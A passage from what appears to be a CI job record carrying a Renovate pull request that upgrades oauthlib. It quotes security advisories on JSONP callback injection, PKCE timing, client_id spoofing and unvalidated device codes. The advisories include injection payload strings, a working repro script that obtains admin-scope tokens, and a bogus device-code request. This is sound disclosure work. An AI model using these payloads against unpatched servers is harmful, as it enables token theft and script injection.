        (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n
        \ [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth
        paths reflect the attacker's payload verbatim into the response body.\n\n#####
        Impact\n\nAny oauthlib-based authorization server that enables JSONP on the
        revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript
        in its response body.\n\nAny page or application that loads this endpoint's
        response as JSONP and exposes attacker influence over the `callback` parameter
        will execute attacker-controlled code in its own origin. If a legitimate OAuth
        client uses JSONP revocation (as documented by oauthlib's client-side API)
        and an attacker can influence the callback value, the attacker controls what
        code runs in the client application, including access to the client page's
        DOM and any data normally accessible to scripts running in that origin.\n\nThe
        JSONP feature is intended for legacy cross-origin browser support. Deployments
        that need it are typically JavaScript-heavy clients, exactly the environment
        most sensitive to script injection.\n\n**Affected versions:** oauthlib >=
        0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been
        present since the revocation endpoint was first introduced in 2013 (commit
        `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but
        no validation of the callback value was ever added.\n\n##### Suggested fix\n\nValidate
        the `callback` parameter against a strict pattern for legal JavaScript identifiers
        before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport
        re\n\n##### Only allow safe JSONP callback names: valid JS identifiers, optionally
        dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n#####
        In create_revocation_response(), before using request.callback:\nif self.enable_jsonp
        and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n
        \       request.callback = None\n```\n\nThis is the standard mitigation for
        JSONP callback injection and is the approach used by jQuery, Express.js, and
        Google APIs. It ensures only syntactically valid function names like `package.hello_world`
        are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs
        a secondary hardening measure, when JSONP is enabled, the response should
        set `Content-Type: application/javascript` (not `application/json` or empty)
        to ensure correct browser handling. Currently the success path returns no
        Content-Type at all, and the error path returns `application/json`.\n\nAlternatively,
        if JSONP is no longer considered a necessary feature, consider deprecating
        and removing the `enable_jsonp` option entirely. CORS is now supported by
        all modern browsers and is the standard mechanism for cross-origin API access.\n\n####
        Severity\n- CVSS Score: 6.1 / 10 (Medium)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n\n####
        References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v)\n-
        [https://github.com/oauthlib/oauthlib/pull/951](https://redirect.github.com/oauthlib/oauthlib/pull/951)\n-
        [https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c](https://redirect.github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)\n-
        [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml)\n-
        [https://github.com/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)\n[CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)
        / [GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nA timing side-channel
        vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization
        Code Grant flow. The `code_challenge_method_plain` function \nuses Python's
        standard `==` operator for string comparison instead of a \nconstant-time
        comparison function, potentially allowing timing-based attacks.\n\n##### Affected
        Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n-
        Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n-
        Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n##### Technical
        Details\n\nPython's `==` operator uses short-circuit evaluation when comparing
        strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters
        left-to-right, stopping at first mismatch\n\nThis means comparison time varies
        linearly with the length of the common prefix \nbetween the attacker-supplied
        verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n#####
        Proof of Concept\n\nTested locally against oauthlib source (network jitter
        eliminated to isolate \npure Python execution time):\n\n| Input | Result |
        Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49)
        | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare
        | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over
        10M iterations corresponds to nanosecond-level differences \nper call, which
        are statistically exploitable under controlled conditions.\n\n##### Attack
        Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme
        Hijacking\n2. PKCE blocks token request \u2014 attacker lacks `code_verifier`\n3.
        Attacker sends repeated requests to `/token` endpoint measuring response times\n4.
        Using timing oracle, attacker recovers `code_verifier` character by character\n5.
        Attacker obtains Access Token \u2192 Account Takeover\n\n> **Note:** Practical
        exploitability is limited due to the single-use nature of \n> authorization
        codes and real-world network noise. However, the vulnerable \n> pattern should
        be corrected as a defense-in-depth measure.\n\n##### Recommended Fix\n\nReplace
        `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin
        Latifli\n\n#### Severity\n- CVSS Score: 6.8 / 10 (Medium)\n- Vector String:
        `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N`\n\n#### References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv)\n-
        [https://github.com/oauthlib/oauthlib/pull/963](https://redirect.github.com/oauthlib/oauthlib/pull/963)\n-
        [https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950](https://redirect.github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)\n-
        [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml)\n-
        [https://github.com/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        OAuthLib: Token grants can use attacker-supplied client_id for authorization
        after authenticating a different client\n[CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)
        / [GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nOAuthlib's token grant
        handlers can authenticate one client while authorizing the grant type and
        requested scopes using a different, attacker-supplied `client_id` from the
        request body.\n\nIn affected token grant flows, `authenticate_client(request)`
        sets `request.client` to the authenticated client object, but OAuthlib does
        not require `request.client_id` to match `request.client.client_id`. If the
        request body already contains `client_id=...`, OAuthlib keeps that value and
        passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result,
        an authenticated low-privilege confidential client can authenticate as itself,
        submit another client's `client_id` in the token request body, and cause grant
        and scope validation to run under that other client identity.\n\n##### Affected
        Surface\n\nThe affected public surface is the OAuth2 token endpoint handling
        for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe
        issue is relevant to OAuthlib provider deployments where:\n\n- the attacker
        has credentials for one valid lower-privilege confidential client;\n- another
        client has broader grants or scopes;\n- the application validator uses the
        `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`,
        as the `RequestValidator` API is designed to support.\n\nDeployments whose
        validators ignore the `client_id` argument and authorize only from `request.client`
        may not be affected.\n\n##### Details\n\n`Request` parses query and body parameters
        into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe
        `RequestValidator.authenticate_client()` contract requires the integrator
        to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor
        the `client_credentials` grant, OAuthlib authenticates the client, verifies
        that `request.client` has a `client_id`, then performs grant and scope validation
        before normalizing `request.client_id` from `request.client.client_id`:\n\n-
        https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe
        problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n
        \   ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id
        = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause
        OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied
        body value such as `client_id=high` survives even when `request.client.client_id
        == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`,
        while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id,
        request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n-
        `validate_scopes(request.client_id, request.scopes, request.client, request)`:
        https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe
        same identity split exists in the Resource Owner Password Credentials flow.
        After client authentication and user validation, OAuthlib validates the grant
        and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n-
        https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n-
        https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis
        creates an inconsistent identity state:\n\n```text\nrequest.client.client_id
        == \"low\"   # authenticated client\nrequest.client_id == \"high\"         #
        attacker-supplied request parameter\n```\n\nOAuthlib then calls application
        authorization hooks with both values, but uses the attacker-controlled `request.client_id`
        as the first-class `client_id` argument.\n\n##### Impact\n\nAn authenticated
        lower-privilege confidential client can obtain tokens authorized under another
        client's grant and scope policy if the application's validator follows the
        `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete
        impact can include:\n\n- issuing access tokens with scopes not assigned to
        the authenticated client;\n- allowing a low-privilege client to use a grant
        type reserved for a higher-privilege client;\n- persisting tokens under a
        spoofed `client_id` while the authenticated client object is different.\n\nThis
        is a token authorization bypass, not an unauthenticated attack. The attacker
        needs valid credentials for one client.\n\n##### PoC\n\nCreate the following
        files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport
        base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n
        \   RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\nclass
        Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\nCLIENTS
        = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\":
        {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n
        \   },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\":
        {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n
        \   },\n}\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n
        \       self.saved_tokens = []\n\n    def authenticate_client(self, request,
        *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\",
        \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n
        \           return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n
        \       client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n
        \       if record is None or record[\"secret\"] != secret:\n            return
        False\n\n        # This is the authenticated client identity.\n        request.client
        = Client(client_id)\n        return True\n\n    def client_authentication_required(self,
        request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self,
        client_id, grant_type, client, request, *args, **kwargs):\n        record
        = CLIENTS.get(client_id)\n        return record is not None and grant_type
        in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes,
        client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n
        \       return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n
        \   def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return
        []\n\n    def validate_user(self, username, password, client, request, *args,
        **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n
        \           request.user = username\n            return True\n        return
        False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n
        \       self.saved_tokens.append({\n            \"token\": dict(token),\n
        \           \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\":
        request.client_id,\n            \"scopes\": list(request.scopes or []),\n
        \       })\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator,
        expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n
        \   default_token_type=token,\n    grant_types={\n        \"client_credentials\":
        ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n
        \   },\n)\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n
        \   return {\"Authorization\": f\"Basic {value}\"}\n\ndef token_request(body):\n
        \   _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n
        \       body=body,\n        headers=low_client_headers(),\n    )\n    return
        status, json.loads(response_body)\n\ndef assert_rejected(label, body):\n    status,
        response = token_request(body)\n    print(label, status, response)\n    if
        status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got
        success\")\n\ndef assert_spoofed_success(label, body):\n    status, response
        = token_request(body)\n    print(label, status, response)\n    if status !=
        200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n
        \   if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}:
        expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n
        \   if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}:
        authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"]
        != \"high\":\n        raise SystemExit(f\"{label}: spoofed request client_id
        was not preserved: {saved}\")\n\nassert_rejected(\n    \"control client_credentials
        as low requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n
        \   \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n
        \   \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n
        \   \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens,
        indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n.
        .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected
        result:\n\n```text\ncontrol client_credentials as low requesting admin 400
        {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high
        200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope':
        'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed
        password as low with client_id=high 200 {'access_token': '...', 'expires_in':
        3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe
        success condition is that both successful token responses are produced while
        the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\":
        \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat
        demonstrates that the authenticated client is `low`, while grant and scope
        authorization used the attacker-supplied `client_id=high`.\n\n##### Suggested
        Remediation\n\nAfter client authentication succeeds, OAuthlib should reject
        a token request if an explicit request `client_id` is present and does not
        match `request.client.client_id`.\n\nFor authenticated confidential-client
        flows, a safer invariant is:\n\n```python\nif request.client is not None:\n
        \   if request.client_id is not None and request.client_id != request.client.client_id:\n
        \       raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis
        should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n-
        liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@&#8203;gmail.com
        (Ziyue), https://zyy0530.github.io/\n- cshe0476@&#8203;uni.sydney.edu.au (Strick),
        https://str1ckl4nd.github.io/\n- chng0012@&#8203;uni.sydney.edu.au (Maurice),
        http://maurice.busystar.org/\n- cyu210608@&#8203;gmail.com (Chenchen), https://7thparkk.github.io/\n\n####
        Severity\n- CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N`\n\n####
        References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)\n-
        [https://github.com/oauthlib/oauthlib/pull/920](https://redirect.github.com/oauthlib/oauthlib/pull/920)\n-
        [https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d](https://redirect.github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d)\n-
        [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.0)\n-
        [https://github.com/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        OAuthLib: Bearer token can be retrieved as long as client knows a valid client
        ID for device workflow\n[CVE-2026-49272](https://nvd.nist.gov/vuln/detail/CVE-2026-49272)
        / [GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nA call to the token
        endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"`
        and a bogus `device_code` is able to get a bearer token as long as they know
        a valid client ID enabled for the device workflow.\n\n##### Details\n\n[Section
        3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4)
        says that the token endpoint should take in `device_code` as a required parameter.`DeviceCodeGrant.validate_token_request`
        does not perform any validation of `device_code`. `DeviceCodeGrant.validate_token_request`
        should be validating that `device_code` was passed in as a parameter and that
        it is valid, similar to how `AuthorizationCodeGrant.validate_token_request`
        does the checks [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446)
        and [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI
        would like to propose a new method be added to `RequestValidator` called `validate_device_code`
        that is similar to the `validate_code` method and is called inside of `DeviceCodeGrant.validate_token_request`.\n\n#####
        PoC\nCreate an implementation of `RequestValidation.authenticate_client` that
        returns `True` if the client's `client_type` is `\"public\"`. You would find
        yourself in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request`
        where it doesn't properly handle public clients (see [https://github.com/oauthlib/oauthlib/issues/919](https://redirect.github.com/oauthlib/oauthlib/issues/919)).\n\nCreate
        a client that has a `client_type` of `\"public\"` and set it's `grant_type`
        to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation
        of `RequestValidation.authenticate_client` done, use that validator for your
        token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\":
        <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n
        \ \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou
        now have a bearer token for the client without a valid `device_code`.\n\n#####
        Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't
        realize the `device_code` parameter is not being validated.\n\n#### Severity\n-
        CVSS Score: 8.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N`\n\n####
        References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc)\n-
        [https://github.com/oauthlib/oauthlib/pull/954](https://redirect.github.com/oauthlib/oauthlib/pull/954)\n-
        [https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114](https://redirect.github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114)\n-
        [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1)\n-
        [https://github.com/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>oauthlib/oauthlib (oauthlib)</summary>\n\n###
        [`v4.0.1`](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1):
        4.0.1\n\n[Compare Source](https://redirect.github.com/oauthlib/oauthlib/compare/v4.0.0...v4.0.1)\n\n####
        Security\n\n- **CVE-2026-49272** / GHSA-3jp2-3mrg-2vxc: The device code flow
        token endpoint did not validate the `device_code` parameter. A request with
        a known `client_id` and a bogus `device_code` could obtain a bearer token.
        `DeviceCodeGrant.validate_token_request` now calls `DeviceCodeGrant.validate_device_code()`,
        which rejects missing or unknown device codes (`invalid_request` / `invalid_grant`)
        and delegates the code's authorization status to the new `RequestValidator.validate_device_code()`
        hook, per RFC 8628 Section 3.5. (cherry-picked from [#&#8203;954](https://redirect.github.com/oauthlib/oauthlib/issues/954))\n\n####
        Upgrade note for device flow integrators\n\nCustom `RequestValidator` implementations
        using the device flow must now implement `validate_device_code(client_id,
        code, request)`. Return one of the `DeviceCodeGrant.DEVICE_CODE_*` statuses
        for known codes, or `None` for an unknown code. When returning `AUTHORIZED`,
        the validator must also populate `request.user` and `request.scopes` from
        the stored authorization.\n\n### [`v4.0.0`](https://redirect.github.com/oauthlib/oauthlib/blob/HEAD/CHANGELOG.rst#400-2026-09-28-)\n\n[Compare
        Source](https://redirect.github.com/oauthlib/oauthlib/compare/v3.3.1...v4.0.0)\n\nOAuth2.0
        Provider:\n\n- **Breaking**: [#&#8203;951](https://redirect.github.com/oauthlib/oauthlib/issues/951):
        Removed JSONP support from token revocation endpoint.\n  JSONP has been superseded
        by CORS for cross-origin requests.\n  The `enable_jsonp` parameter has been
        removed from `RevocationEndpoint`\n  and the `callback` parameter has been
        removed from\n  `prepare_token_revocation_request`.\n- **Breaking**: [#&#8203;919](https://redirect.github.com/oauthlib/oauthlib/issues/919),
        [#&#8203;920](https://redirect.github.com/oauthlib/oauthlib/issues/920): Fixed
        `DeviceCodeGrant.validate_token_request`\n  trying to authenticate public
        clients.\n  Client authentication validation has been reorganized and is now
        shared\n  across `AuthorizationCodeGrant`, `DeviceCodeGrant`, `RefreshTokenGrant`\n
        \ and `ResourceOwnerPasswordCredentialsGrant`: the `grant_type` parameter\n
        \ is validated before client authentication, so requests missing\n  `grant_type`
        now return `400 invalid_request` instead of\n  `401 invalid_client`.\n- [#&#8203;963](https://redirect.github.com/oauthlib/oauthlib/issues/963):
        Improved PKCE code comparison\n\nMisc:\n\n- [#&#8203;904](https://redirect.github.com/oauthlib/oauthlib/issues/904):
        Stop installing `examples` into `site-packages`.\n- [#&#8203;930](https://redirect.github.com/oauthlib/oauthlib/issues/930):
        Add devcontainer, Add Python3.14, Python3.14t.\n- [#&#8203;931](https://redirect.github.com/oauthlib/oauthlib/issues/931):
        Fix ruff checks about unused variables.\n- [#&#8203;932](https://redirect.github.com/oauthlib/oauthlib/issues/932):
        Dropped EOL Python 3.8 from CI.\n- [#&#8203;934](https://redirect.github.com/oauthlib/oauthlib/issues/934):
        Pre-commit hooks autoupdate.\n- [#&#8203;938](https://redirect.github.com/oauthlib/oauthlib/issues/938):
        Fix typos discovered by typos.\n- Add OAuthLib Maintainer agent for automated
        issue/PR triage and release\n  management.\n\n</details>\n\n---\n\n### Configuration\n\n\U0001F4C5
        **Schedule**: (UTC)\n\n- Branch creation\n  - At any time (no schedule defined)\n-
        Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
        Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
        **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
        checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
        about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
        to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated by
        [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/vexxhost/magnum-cluster-api).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->\n"
      change_url: https://github.com/vexxhost/magnum-cluster-api/pull/1174
      child_jobs: []
      commit_id: b303d1a72e47bddc8ae9c889b85a7b158294eac1
      event_id: a0755de0-dc40-11f1-9979-a5f3448e7f53
      executor:
        hostname: 2d72f0692154
        inventory_file: /var/lib/zuul/builds/12966d029a504653a2deb2a67a2b6512/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/12966d029a504653a2deb2a67a2b6512/work/logs
        result_data_file: /var/lib/zuul/builds/12966d029a504653a2deb2a67a2b6512/work/results.json
        src_root: /var/lib/zuul/builds/12966d029a504653a2deb2a67a2b6512/work/src
        work_root: /var/lib/zuul/builds/12966d029a504653a2deb2a67a2b6512/work
      include_vars: []
      items:
      - branch: main
        change: '1174'
        change_message: "chore(deps): update dependency oauthlib to v4 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [oauthlib](https://redirect.github.com/oauthlib/oauthlib) ([changelog](https://redirect.github.com/oauthlib/oauthlib/blob/master/CHANGELOG.rst))
          | `3.3.1` \u2192 `4.0.1` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/oauthlib/4.0.1?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/oauthlib/3.3.1/4.0.1?slim=true)
          |\n\n---\n\n### Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint
          allows arbitrary JavaScript response generation\n[CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)
          / [GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nWhen `enable_jsonp=True`,
          oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter
          directly into JavaScript response bodies on both success and error paths
          without validating that it is a legal JSONP callback name. This allows arbitrary
          JavaScript response generation instead of a restricted function call, making
          the documented JSONP revocation feature unsafe for browser-based JSONP consumption
          when attackers can influence `callback`.\n\n##### Details\n\nThe issue is
          in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True`
          is passed to the `RevocationEndpoint` constructor, two code paths wrap the
          response body using the user-supplied `request.callback` parameter:\n\n```python\n\n#####
          Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n
